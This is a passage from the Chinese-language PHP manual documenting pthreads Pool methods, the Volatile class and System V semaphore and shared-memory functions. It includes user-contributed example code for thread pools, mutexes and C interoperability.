        echo "spamming worker {$spammed_id} with lots of tasks from now on\n";
    }
    if ($spammed_id != -1 && ($i % 5) == 0)    // every 5th job is routed to one worker, so it has 20% of the total jobs (with 3 workers it should do ~33%, not it has (33+20)%, so only delegate to worker if you plan to do balancing as well... )
        $pool->submitTo($spammed_id,new Task(10*$i));
    else
        $pool->submit(new Task(10*$i));
}
$pool->shutdown();
var_dump($config); // "val" is exactly 100000, "val2" is probably a bit less
// also: if you disable the spammer, you'll that the order of the "arr" is random.
?>


回收已完成任务的引用

  • ? Pool
  • Pool::__construct ?
  • PHP Manual
  • Pool
  • 回收已完成任务的引用

Pool::collect

(PECL pthreads >= 2.0.0)

Pool::collect — 回收已完成任务的引用

说明

public Pool::collect(Callable $collector = ?): int

对于视为垃圾的引用，使用给定的垃圾收集器进行收集

参数

collector

垃圾收集器，它返回一个布尔值表示这个任务是否可以被进行垃圾收集。 仅在极少的情况下需要一个自定义的垃圾收集器。

返回值

池中剩余的待收集的任务数量。

更新日志

版本 | 说明
v3 | collector 参数变为可选参数， 并且返回值改为整数。

示例

Example #1 Pool::collect() 基本用法示例

<?php
$pool = new Pool(4);

for ($i = 0; $i < 15; ++$i) {
$pool->submit(new class extends Threaded {});
}

while ($pool->collect()); // 直到全部的任务都完成执行之后才会继续下面的代码

$pool->shutdown();

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 06:00
In this example, it shows how to use a Threaded with a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done, collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
l00k at protonmail dot com 02-Dec-2017 04:05
This example demonstrates various aspects of MTP with pthreads - esspecially worth of note is bidirectional communication with child threads.
I could not find anything about that so I would like to present you my research result.

<?php

class Model
{

    public $id;
    public $value;

}

class Connection
    extends Worker
{

    protected static $link;

    public function __construct($hostname, $username, $password, $database, $port = 3306)
    {
        $this->hostname = $hostname;
        $this->username = $username;
        $this->password = $password;
        $this->database = $database;
        $this->port = $port;
    }

    public function getConnection()
    {
        if(!self::$link)
        {
            echo 'Thread: '. $this->getThreadId() ." Connecting to db\n";
            self::$link = new \PDO(...);
        }

        return self::$link;
    }

}

/** @property Connection $worker */
class QueryTask
    extends Threaded
{

    public $data;
    public $result;

    protected $_complete;

    public function __construct(Model $data)
    {
        $this->_complete = false;
        $this->data = $data;
    }

    public function run()
    {
        /** @var \PDO $pdo */
        $pdo = $this->worker->getConnection();

        $text = 'Thread: '. $this->worker->getThreadId() .' Job: '. $this->data->id .' Data: '. $this->data->value;

        $t = microtime(true);

        $stmt = $pdo->prepare("
            INSERT INTO `test` (`id`, `text`) VALUES (NULL, '". $text ."')
        ");
        $stmt->execute();

        $dt = microtime(true) - $t;

        $result = (int) $stmt->rowCount();

        echo $text .' Result: '. $result .' Exec time: '. $dt ."s\n";

        $this->result = $result;
        $this->_complete = true;
    }

    public function isGarbage() : bool
    {
        return $this->_complete;
    }

}

$t = microtime(true);

// uruchomienie
$pool = new Pool(5, 'Connection', [ 'localhost', 'root', 'password', 'test' ]);

// zadania
$tasks = 10;

for($i=0; $i<$tasks; ++$i)
{
    $object = new Model();
    $object->id = $i;
    $object->value = rand();

    $pool->submit(new QueryTask($object));
}

// oczekiwanie na zakonczenie
$data = [];

while(1)
{
    $newData = [];

    $pool->collect(function(QueryTask $task) use (&$newData) {
        if($task->isGarbage())
        {
            $tmpObj = new stdclass();
            $tmpObj->complete = $task->complete;

            $newData[ $task->data->id ] = $task->data->value;
        }

        return $task->isGarbage();
    });

    $data = array_merge($data, $newData);

    if(count($data) == $tasks)
        break;

    usleep(100000);
}

var_dump($data);
?>

Result:
Thread: 6796 Connecting to db
Thread: 3156 Connecting to db
Thread: 9040 Connecting to db
Thread: 7748 Connecting to db
Thread: 8836 Connecting to db
Job: 0 Done in: 0.0070011615753174s
Job: 4 Done in: 0.0069999694824219s
Job: 2 Done in: 0.0090010166168213s
Job: 3 Done in: 0.0090010166168213s
Job: 1 Done in: 0.003000020980835s
Job: 5 Done in: 0.0069999694824219s
Job: 7 Done in: 0.0079998970031738s
Job: 6 Done in: 0.0049998760223389s
Job: 9 Done in: 0.0079998970031738s
Job: 8 Done in: 0.0069999694824219s

array(10) {
  [0] =>
  int(17730)
  [1] =>
  int(18771)
  [2] =>
  int(12944)
  [3] =>
  int(6025)
  [4] =>
  int(29582)
  [5] =>
  int(10159)
  [6] =>
  int(26556)
  [7] =>
  int(9029)
  [8] =>
  int(15002)
  [9] =>
  int(4043)
}

Things worth noting here:
1. Constructing of 5 workers for 10 tasks. 5 last task are runned on existing threads with already set up connection to db.
2. You can "send" data to thread by creating new task and submiting it.
3. You can retrive result by collect function.
4. You can pass simple object to task constructor.
meadowsjared at gmail dot com 14-Mar-2016 07:13
Please note, when using the collect function, it's important that you extend the pool class so you can keep checking for finished threads until they're all done.

<?php
class TestWork extends Threaded {
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData){
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run(){
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isGarbage() {
        return $this->complete;
    }
}
class ExamplePool extends Pool
{
    public $data = array();
    public function process()
    {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->work)) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isGarbage()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isGarbage();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
your dot brother dot t at hotmail dot com 29-Dec-2014 09:33
The example code crashes and made me waste 2 working days
First of all, `Stackable` has no attribute named $worker or it's access method made it inaccessible.

Secondly, `Stackable` also doesn't have `getThreadId()` . It's best practice to use `Thread` class for realization of a thread since it has more control functions. It's better to use `Stackable` for object storage and use it's `run()` as its initialization.

The working example is

<?php
    class MyWork extends Thread {
        protected $complete;

        public function __construct() {
            $this->complete = false;
        }

        public function run() {
            printf(
                "Hello from %s in Thread #%lu\n",
                __CLASS__, $this->getThreadId());
            $this->complete = true;
        }

        public function isComplete() {
            return $this->complete;
        }
    }

    class Something {}

    class MyWorker extends Worker {

        public function __construct(Something $something) {
            $this->something = $something;
        }

        public function run() {
            /** ... **/
        }
    }

    $pool = new Pool(8, \MyWorker::class, [new Something()]);
    $pool->submit(new MyWork());

    usleep(1000);

    $pool->collect(function($work){
        return $work->isComplete();
    });
    var_dump($pool);
?>


创建新的 Worker 对象池

  • ? Pool::collect
  • Pool::resize ?
  • PHP Manual
  • Pool
  • 创建新的 Worker 对象池

Pool::__construct

(PECL pthreads >= 2.0.0)

Pool::__construct — 创建新的 Worker 对象池

说明

public Pool::__construct(int $size, string $class = ?, array $ctor = ?)

创建新的 Worker 对象池，但是所对应的线程是延迟创建的的，也就是说， 直到需要执行任务的时候 才会创建对应的线程。

参数

size

此 Pool 对象可创建的 Worker 对象的最大数量

class

新创建的 Worker 对象的类。 如果不指定类，那么会使用默认的 Worker 类。

ctor

创建 Worker 对象时所用到的参数，以数组方式传入

示例

Example #1 创建 Pool 对象

<?php
class MyWorker extends Worker {

public function __construct(Something $something) {
$this->something = $something;
}

public function run() {
/** ... **/
}
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);

var_dump($pool);
?>

以上示例会输出：

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  NULL
  ["work":protected]=>
  NULL
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


改变 Pool 对象的可容纳 Worker 对象的数量

  • ? Pool::__construct
  • Pool::shutdown ?
  • PHP Manual
  • Pool
  • 改变 Pool 对象的可容纳 Worker 对象的数量

Pool::resize

(PECL pthreads >= 2.0.0)

Pool::resize — 改变 Pool 对象的可容纳 Worker 对象的数量

说明

publicPool::resize(int $size): void

改变 Pool 对象的可容纳 Worker 对象的数量

参数

size

此 Pool 对象可创建 Worker 对象的最大数量

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


停止所有的 Worker 对象

  • ? Pool::resize
  • Pool::submit ?
  • PHP Manual
  • Pool
  • 停止所有的 Worker 对象

Pool::shutdown

(PECL pthreads >= 2.0.0)

Pool::shutdown — 停止所有的 Worker 对象

说明

publicPool::shutdown(): void

停止此 Pool 中所有的 Worker 对象。此方法调用会进入阻塞状态， 直到所有已经提交到这个 Pool 中的任务都执行完毕。

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 完全停止一个 Pool

<?php
class Task extends Threaded
{
public function run()
{
usleep(500000);
}
}

$pool = new Pool(4);

for ($i = 0; $i < 10; ++$i) {
$pool->submit(new Task());
}

$pool->shutdown(); // 进入阻塞状态，直到所有已经提交到 Pool 中的任务都执行完毕

User Contributed Notes

There are no user contributed notes for this page.


提交对象以执行

  • ? Pool::shutdown
  • Pool::submitTo ?
  • PHP Manual
  • Pool
  • 提交对象以执行

Pool::submit

(PECL pthreads >= 2.0.0)

Pool::submit — 提交对象以执行

说明

public Pool::submit(Threaded $task): int

将任务提交到 Pool 中的下一个 Worker 对象

参数

task

要执行的任务

返回值

执行新加入对象的 Worker 对象 ID

示例

Example #1 提交任务

<?php
class MyWork extends Threaded {

public function run() {
/* ... */
}
}

class MyWorker extends Worker {

public function __construct(Something $something) {
$this->something = $something;
}

public function run() {
/** ... **/
}
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);
$pool->submit(new MyWork());
var_dump($pool);
?>

以上示例会输出：

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  array(1) {
    [0]=>
    object(MyWorker)#4 (1) {
      ["something"]=>
      object(Something)#5 (0) {
      }
    }
  }
  ["work":protected]=>
  array(1) {
    [0]=>
    object(MyWork)#3 (1) {
      ["worker"]=>
      object(MyWorker)#5 (1) {
        ["something"]=>
        object(Something)#6 (0) {
        }
      }
    }
  }
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


提交一个任务到特定的 Worker 以执行

  • ? Pool::submit
  • Volatile ?
  • PHP Manual
  • Pool
  • 提交一个任务到特定的 Worker 以执行

Pool::submitTo

(PECL pthreads >= 2.0.0)

Pool::submitTo — 提交一个任务到特定的 Worker 以执行

说明

public Pool::submitTo(int $worker, Threaded $task): int

将对象提交到 Pool 中某个特定的 Worker 对象来执行。Worker 的下标从 0 开始， 由于 Pool 中的线程是懒加载机制， 所以 Worker 对象仅在 Pool 需要执行任务的时候才会真正被创建。

参数

worker

用来执行任务的 Worker 对象，下标从 0 开始。

task

要执行的任务

返回值

接受新加入对象的 Worker 对象ID

示例

Example #1 提交任务到特定的 Worker

<?php
class Task extends Threaded {
public function run() {
var_dump(Thread::getCurrentThreadID());
}
}

$pool = new Pool(2);

$pool->submit(new Task());

for ($i = 0; $i < 5; ++$i) {
$pool->submitTo(0, new Task()); // 将所有的任务都入栈到下标为 0 的 Worker
}

$pool->submitTo(1, new Task()); // 由于第二个 Worker 尚未存在，所以不可以将任务入栈到第二个 Worker

$pool->shutdown();

以上示例会输出：

int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)

Fatal error: Uncaught Exception: The selected worker (1) does not exist in %s:%d

User Contributed Notes

There are no user contributed notes for this page.


The Volatile class

(PECL pthreads >= 3.0.0)

简介

The Volatile class is new to pthreads v3. Its introduction is a consequence of the new immutability semantics of Threaded members of Threaded classes. The Volatile class enables for mutability of its Threaded members, and is also used to store PHP arrays in Threaded contexts.

类摘要

class Volatile extends Threaded implements Collectable, Traversable {
/* 继承的方法 */
public Threaded::chunk(int $size, bool $preserve): array
public Threaded::count(): int
public Threaded::extend(string $class): bool
public Threaded::isRunning(): bool
public Threaded::isTerminated(): bool
publicThreaded::merge(mixed $from, bool $overwrite = ?): bool
public Threaded::notify(): bool
public Threaded::notifyOne(): bool
public Threaded::pop(): bool
public Threaded::run(): void
public Threaded::shift(): boolean
public Threaded::synchronized(Closure $block, mixed ...$args): mixed
public Threaded::wait(int $timeout = ?): bool
}

示例

Example #1 New immutability semantics of Threaded

<?php

class Task extends Threaded
{
public function __construct()
{
$this->data = new Threaded();

// attempt to overwrite a Threaded property of a Threaded class (invalid)
$this->data = new stdClass();
}
}

var_dump((new Task())->data);

以上示例的输出类似于：

RuntimeException: Threaded members previously set to Threaded objects are immutable, cannot overwrite data in %s:%d

Example #2 Volatile use-case

<?php

class Task extends Volatile
{
public function __construct()
{
$this->data = new Threaded();

// attempt to overwrite a Threaded property of a Volatile class (valid)
$this->data = new stdClass();
}
}

var_dump((new Task())->data);

以上示例的输出类似于：

object(stdClass)#3 (0) {
}

User Contributed Notes

synnus at gmail dot com 02-Oct-2019 06:29
<?php

// just use extends  volatile for use array
// is verry good

class libvar extends Volatile
{
    private $_adresse = '127.0.0.1';
    private $_port = 10000;

    public $socket;
    public $list_socket = array();
    public $list_error = array();

    public function __construct(){ }

    public function set_list($val) { $ct = count($this->list_socket); $this->list_socket[ $ct ] = $val; return $ct; }
    public function set_socket($val) { $this->socket = $val; return $this->socket; }
    public function set_error($val) { $this->list_error[ count($this->list_error) ] = $val; }

    public function unset_list($val) { unset($this->list_error[ $val ]); }

    public function get_socketinlist($val) { return $this->list_socket[$val]; }
    public function get_adresse() { return $this->_adresse; }
    public function get_port() { return $this->_port; }
    public function get_socket() { return $this->socket; }
}

?>


Semaphore, Shared Memory and IPC

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Semaphore 函数
    • ftok — Convert a pathname and a project identifier to a System V IPC key
    • msg_get_queue — Create or attach to a message queue
    • msg_queue_exists — Check whether a message queue exists
    • msg_receive — Receive a message from a message queue
    • msg_remove_queue — Destroy a message queue
    • msg_send — Send a message to a message queue
    • msg_set_queue — Set information in the message queue data structure
    • msg_stat_queue — Returns information from the message queue data structure
    • sem_acquire — Acquire a semaphore
    • sem_get — Get a semaphore id
    • sem_release — Release a semaphore
    • sem_remove — Remove a semaphore
    • shm_attach — Creates or open a shared memory segment
    • shm_detach — Disconnects from shared memory segment
    • shm_get_var — Returns a variable from shared memory
    • shm_has_var — Check whether a specific entry exists
    • shm_put_var — Inserts or updates a variable in shared memory
    • shm_remove_var — Removes a variable from shared memory
    • shm_remove — Removes shared memory from Unix systems
  • SysvMessageQueue — The SysvMessageQueue class
  • SysvSemaphore — The SysvSemaphore class
  • SysvSharedMemory — The SysvSharedMemory class

User Contributed Notes

There are no user contributed notes for this page.


简介

These modules provide wrappers for the System V IPC family of functions. It includes semaphores, shared memory and inter-process messaging (IPC).

Semaphores may be used to provide exclusive access to resources on the current machine, or to limit the number of processes that may simultaneously use a resource.

This module provides also shared memory functions using System V shared memory. Shared memory may be used to provide access to global variables. Different httpd-daemons and even other programs (such as Perl, C, ...) are able to access this data to provide a global data-exchange. Remember, that shared memory is NOT safe against simultaneous access. Use semaphores for synchronization.

Limits of Shared Memory by the Unix OS
SHMMAX | max size of shared memory, normally 131072 bytes
SHMMIN | minimum size of shared memory, normally 1 byte
SHMMNI | max amount of shared memory segments on a system, normally 100
SHMSEG | max amount of shared memory segments per process, normally 6

The messaging functions may be used to send and receive messages to/from other processes. They provide a simple and effective means of exchanging data between processes, without the need for setting up an alternative using Unix domain sockets.

Note: Only the shared memory functions and ftok() are available on Windows. Neither semaphores nor inter-process messaging functions are supported on that platform.

User Contributed Notes

There are no user contributed notes for this page.


安装

Support for this functions are not enabled by default. To enable System V semaphore support compile PHP with the option --enable-sysvsem. To enable the System V shared memory support compile PHP with the option --enable-sysvshm. To enable the System V messages support compile PHP with the option --enable-sysvmsg.

User Contributed Notes

sparcbr at gmail dot com 05-Apr-2020 01:29
It should be mentioned that depending on the system, an module can be available.

On CentOS I just ran:
sudo yum install php73-php-sysvsem

then reload:
sudo service php-fpm reload (or apache, depending on your case)

and semaphore functions are now available.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Semaphore Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
sysvshm.init_mem | 10000 | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

sysvshm.init_mem int

A default size of the shared memory segment.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

Prior to PHP 8.0.0, this extension defined the resource types sysvmsg queue (System V Message Queue), sysvsem (System V Semaphore) and sysvshm (System V Shared Memory).

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

MSG_IPC_NOWAIT (int)
MSG_EAGAIN (int)
MSG_ENOMSG (int)
MSG_NOERROR (int)
MSG_EXCEPT (int)

User Contributed Notes

There are no user contributed notes for this page.


Semaphore 函数

Table of Contents

  • ftok — Convert a pathname and a project identifier to a System V IPC key
  • msg_get_queue — Create or attach to a message queue
  • msg_queue_exists — Check whether a message queue exists
  • msg_receive — Receive a message from a message queue
  • msg_remove_queue — Destroy a message queue
  • msg_send — Send a message to a message queue
  • msg_set_queue — Set information in the message queue data structure
  • msg_stat_queue — Returns information from the message queue data structure
  • sem_acquire — Acquire a semaphore
  • sem_get — Get a semaphore id
  • sem_release — Release a semaphore
  • sem_remove — Remove a semaphore
  • shm_attach — Creates or open a shared memory segment
  • shm_detach — Disconnects from shared memory segment
  • shm_get_var — Returns a variable from shared memory
  • shm_has_var — Check whether a specific entry exists
  • shm_put_var — Inserts or updates a variable in shared memory
  • shm_remove_var — Removes a variable from shared memory
  • shm_remove — Removes shared memory from Unix systems

User Contributed Notes

HansRich 30-Jun-2014 09:00
For shared memory needs, these functions are greatly outdated and inefficient.
They don't provide read/write locking and they use a single linked list for storing the variables, which means they have an average complexity of O(n/2) where n is the number of variables in the segment.

For a better alternative use APC Functions which implement proper read/write locking and use a hash table so they have good efficiency even for large amounts of variables:
http://php.net/manual/en/ref.apc.php
piosaw79 25-Jul-2011 02:36
I'm using this simple functions to mimic semaphores on Windows (with $max_acquire = 1):

<?php
if ( !function_exists('sem_get') ) {
    function sem_get($key) { return fopen(__FILE__.'.sem.'.$key, 'w+'); }
    function sem_acquire($sem_id) { return flock($sem_id, LOCK_EX); }
    function sem_release($sem_id) { return flock($sem_id, LOCK_UN); }
}
?>
mr dot smaon at gmail dot com 25-Jan-2007 09:08
Here is a simple Mutex class implementation, using semaphore on Linux and flock on windows.
Filename is optionnal, but you can provide it anyway. This way the file will be created on windows, not on linux as it is not needed.
It's fast written and certainly lacks error checking code.

<?php

    class Mutex
    {
        private $id;
        private $sem_id;
        private $is_acquired = false;
        private $is_windows = false;
        private $filename = '';
        private $filepointer;

        function __construct()
        {
            if(substr(PHP_OS, 0, 3) == 'WIN')
                $this->is_windows = true;
        }

        public function init($id, $filename = '')
        {
            $this->id = $id;

            if($this->is_windows)
            {
                if(empty($filename)){
                    print "no filename specified";
                    return false;
                }
                else
                    $this->filename = $filename;
            }
            else
            {
                if(!($this->sem_id = sem_get($this->id, 1))){
                    print "Error getting semaphore";
                    return false;
                }
            }

            return true;
        }

        public function acquire()
        {
            if($this->is_windows)
            {
                if(($this->filepointer = @fopen($this->filename, "w+")) == false)
                {
                    print "error opening mutex file<br>";
                    return false;
                }

                if(flock($this->filepointer, LOCK_EX) == false)
                {
                    print "error locking mutex file<br>";
                    return false;
                }
            }
            else
            {
                if (! sem_acquire($this->sem_id)){
                    print "error acquiring semaphore";
                    return false;
                }
            }

            $this->is_acquired = true;
            return true;
        }

        public function release()
        {
            if(!$this->is_acquired)
                return true;

            if($this->is_windows)
            {
                if(flock($this->filepointer, LOCK_UN) == false)
                {
                    print "error unlocking mutex file<br>";
                    return false;
                }

                fclose($this->filepointer);
            }
            else
            {
                if (! sem_release($this->sem_id)){
                    print "error releasing semaphore";
                    return false;
                }
            }

            $this->is_acquired = false;
            return true;
        }

        public function getId()
        {
            return $this->sem_id;
        }
    }

?>

Example use:

<?php

    $mutex = new Mutex();
    $mutex->init(1, "mutex_file.txt");
    $mutex->acquire();

    //Whatever you want single-threaded here...
    $mutex->release();

?>
hekkwan at gmail dot com 14-Nov-2006 06:15
I have been trying to get a php console script and a C application to use a common semaphore for a while. I just got it working, so I thought Id paste the code here incase anyone needs to do this, however, this is not the place for long code examples

I used c code from the php implementation to set up the semaphore set and then mimic the way the php interpreter implements a mutext type locking scheme, using a common semop call.

One has to do the process in the same way as its done in the php implementation, otherwise you run the risk of the php interpreter resetting the semaphore set for you.

The basic idea is.
1) sem_get - use a three semaphore set
1.1) increment the first sem
1.2) check the usage count (sem 3), if only one, set the max_attach using sem 2 for mutex behaviour to sem 3
2) decrement sem 1
3) for locking / unlocking use the first semaphore, but always call the above from your c-code.

If you want a copy of my code, email me and I'll happily send it to you !
chrissavery at removeme dot gmail dot com 02-Jun-2006 01:18
I was confused by two things that caused strange behaviour in my use of semaphores with php scripts running under apache.

Often enough page requests will end up being filled by the same process as other simultaneous requests. So semaphores will block when you may not have expected.

Also note that sem_remove() will remove it for all processes, not just the calling one. So you have to be sure that the last process running removes the semaphore and none before. I thought there was some failures occurring when my child processes were dropping out with errors.

So you can't just use get, acquire, release, remove in one script that will be hit by a web user. (1) They may end up in the same process and will wait on the other, and (2) the first one to finish will destroy the semaphore for others.

I left out the remove call, and it works ok, but I still wonder if the semaphore is removed by php when the last script that did a get finishes? Also creating a child process to do the work using proc_open works to ensure seperate processes but to be careful you would want to limit the number somehow as well.
Denis Gerasimov 02-Nov-2005 04:19
Many (most?) developers use Win32 platform for PHP Web applications development while production servers mostly run Unix/Linux OS. Below is the stub code I use to make it possible to write scripts on Win32 that use semaphores:

<?php

if (substr(PHP_OS, 0, 3) == 'WIN') {  // if Windows OS detected

    function ftok($pathname, $proj)
    {
        if (empty($pathname) || !file_exists($pathname)) {  // an error occured
            return -1;
        }

        $pathname = $pathname . (string) $proj;
        $key = array();
        while (sizeof($key) < strlen($pathname)) {
            $key[] = ord(substr($pathname, sizeof($key), 1));
        }

        return dechex(array_sum($key));
    }

    function sem_acquire($sem_identifier)
    {
        return true;
    }

    function sem_get($key, $max_acquire = null, $perm = null, $auto_release = null)
    {
        return true;
    }

    function sem_release($sem_identifier)
    {
        return true;
    }

    function sem_remove($sem_identifier)
    {
        return true;
    }

}

?>

Of course, there is no way to test semaphores until you have no Unix/Linux test server.
p4nzer at yahoo dot com 01-Nov-2005 05:55
Actually, the way to lock a semaphore from C code appears to be:
<?
    struct sembuf semptr[2];

    if( (semid = semget(SEM_KEY, PHP_SEM_NEED_NUMBER, 0666 | IPC_CREAT)) < 0 ) {
        perror("semget");
        return 1;
    }

    semptr[0].sem_num = 0;
    semptr[0].sem_op = -1;
    semptr[0].sem_flg = SEM_UNDO;
    semptr[1].sem_num = 1;
    semptr[1].sem_op =  1;
    semptr[1].sem_flg = SEM_UNDO;

    if( semop(semid, &semptr[0], 2) < 0 ) {
    perror("semop");
    }
?>

PS: Disregard the <? and ?>, it's just for pretty printing... this is C code!
hcuevas at galenicom dot com 23-Oct-2003 07:49
Don't use semaphores to serialize access to an undefined number of resources. There is no way (yet) to know before locking if a semaphore is already locked, thus not being able to fully release the semaphore and occupying a semaphore resource for an undefined time.

A possible solution is to build a shared mem pool and store there the current number of locks for a semaphore id.

Cheers,
Horaci Cuevas
Roman Laptev <tmp at laptev dot org> 02-Apr-2003 06:50
If you going to work with semaphore, which was created by some external program, you can try the following code for this program (C example):

#define SVSEM_MODE (SEM_R | SEM_A | SEM_R>>3 | SEM_R>>6) /* 0644 */
#define PHP_SEM_NEED_NUMBER 3

/*.......*/
int semid, semflag = SVSEM_MODE | IPC_CREAT | IPC_EXCL;
struct sembuf semptr;
union semun semopts;
/*.......*/
if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, semflag)) >= 0 ) {
  semopts.val = 1; /* initial value for sem */
  if( semctl( semid, 0, SETVAL, semopts) < 0 ) {/*error*/}
  if( semctl( semid, 1, SETVAL, semopts) < 0 ) {/*error*/}
  /* PHP wanna zero for its own semget at third sem.
   * look at ./PHP_SOURCE_PATH/ext/sysvsem/sysvsem.c
   */
  semopts.val = 0;
  if( semctl( semid, 2, SETVAL, semopts) < 0 ) {/*error*/}
}
else if(errno == EEXIST) { /* connect only  */
  if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, SVSEM_MODE | IPC_CREAT)) < 0 ) {/*error*/}
}
else {/*error*/}

/*.......*/
/* If you want acquire the sem */
  semptr.sem_num = 0;
  semptr.sem_op = -1; /* lock it */
  semptr.sem_flg = SEM_UNDO;
  while( semop(semid, &semptr, 1) < 0 ) {/*error*/}
/*.......*/

Thanks,
Roma
elran70 at hotmail dot com 22-Jun-2002 10:54
Samlpe code for using most of the functions here:

    $MEMSIZE    =   512;//  size of shared memory to allocate
    $SEMKEY     =   1;  //  Semaphore key
    $SHMKEY     =   2;  //  Shared memory key

    echo "Start.\n";
    // Get semaphore
    $sem_id = sem_get($SEMKEY, 1);
    if ($sem_id === false)
    {
        echo "Fail to get semaphore";
        exit;
    }
    else
        echo "Got semaphore $sem_id.\n";

    // Accuire semaphore
    if (! sem_acquire($sem_id))
    {
        echo "Fail to aquire semaphore $sem_id.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success aquire semaphore $sem_id.\n";

    $shm_id =   shm_attach($SHMKEY, $MEMSIZE);
    if ($shm_id === false)
    {
        echo "Fail to attach shared memory.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success to attach shared memory : $shm_id.\n";

    // Write variable 1
    if (!shm_put_var($shm_id, 1, "Variable 1"))
    {
        echo "Fail to put var 1 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var1 to shared memory.\n";

    // Write variable 2
    if (!shm_put_var($shm_id, 2, "Variable 2"))
    {
        echo "Fail to put var 2 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var2 to shared memory.\n";

    // Read variable 1
    $var1   =   shm_get_var ($shm_id, 1);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 1 from Shared memory $shm_id, return value=$var1.\n";
    }
    else
        echo "Read var1=$var1.\n";

    // Read variable 1
    $var2   =   shm_get_var ($shm_id, 2);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 2 from Shared memory $shm_id, return value=$var2.\n";
    }
    else
        echo "Read var2=$var2.\n";

    // Release semaphore
    if (!sem_release($sem_id))
        echo "Fail to release $sem_id semaphore.\n";
    else
        echo "Semaphore $sem_id released.\n";

    // remove shared memory segmant from SysV
    if (shm_remove ($shm_id))
        echo "Shared memory successfully removed from SysV.\n";
    else
        echo "Fail to remove $shm_id shared memory from SysV.\n";

    // Remove semaphore
    if (sem_remove($sem_id))
        echo "semaphore removed successfully from SysV.\n";
    else
        echo "Fail to remove $sem_id semaphore from SysV.\n";
    echo "End.\n";
mikew at php dot net 31-May-2001 09:46
As for security,   please look at the perm argument to shm_get.   Shared Memory blocks has the same permission semantics as unix user/group/other file permissions.   As long as your webserver is running as a user that no other users can script to..  and as long as the permissions are set to 600,  you should be fine and have no security concerns.
php at stolt dot de 20-Sep-2000 11:58
The integer keys for sem_get() and shm_attach() have to be systemwide unique. There is no method to ensure that no other process on the system will use your specific key (security! and possible malfunction). Also shared memory is very seldom used there are possibilities for conflicts! To see the used id's you can use the program 'ipcs' (at least under SuseLinux;) ). Thanks Christian C.


Convert a pathname and a project identifier to a System V IPC key

  • ? Semaphore 函数
  • msg_get_queue ?
  • PHP Manual
  • Semaphore 函数
  • Convert a pathname and a project identifier to a System V IPC key

ftok

